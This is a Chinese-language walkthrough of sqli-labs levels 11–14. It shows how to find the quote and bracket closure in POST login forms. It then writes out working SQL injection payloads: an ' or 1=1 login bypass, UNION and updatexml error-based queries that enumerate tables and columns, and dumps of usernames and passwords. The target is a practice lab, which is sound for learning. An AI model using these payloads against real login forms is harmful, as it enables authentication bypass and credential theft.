sqli-lab靶场学习(四)——Less11-14(post方法)
前言
第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。
Less11
第11关打开是一个输入用户名密码的界面
显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:
提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):
' or 1=1 -- asd
是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:
' union select 1 -- asd
这里报错了,表示union后的列数不对,当我们尝试:
' union select 1,2 -- asd
不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:
' union select database(),2 -- asd
得到数据库名为security。接着就是获取表名:
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd
显然users应该就是我们要找的表,然后是查找列名:
' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd
列名中username和password应该就是我们要找的列,然后查出用户名和密码:
' union select 1,(select group_concat(username) from users) -- asd
' union select 1,(select group_concat(password) from users) -- asd
通关!
Less12
第十二关先输入单引号
显示错误,再输入双引号:
看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:
") or 1=1 -- asd
成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。
Less13
第13关先测试单引号
看来是单引号+括号的闭合,再测试:
') or 1=1 -- asd
确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:
') or updatexml('1',concat('~',database(),'~'),'1') -- asd
找出了数据库名为security。然后找出对应表名,Username对话框输入:
') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1') -- asd
第一个表是emails,我们逐个尝试,当输入:
') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1') -- asd
找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1') -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1') -- asd
之后找出用户名,Username框输入:
') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1') -- asd
密码:
') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1') -- asd
通关!
Less14
第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。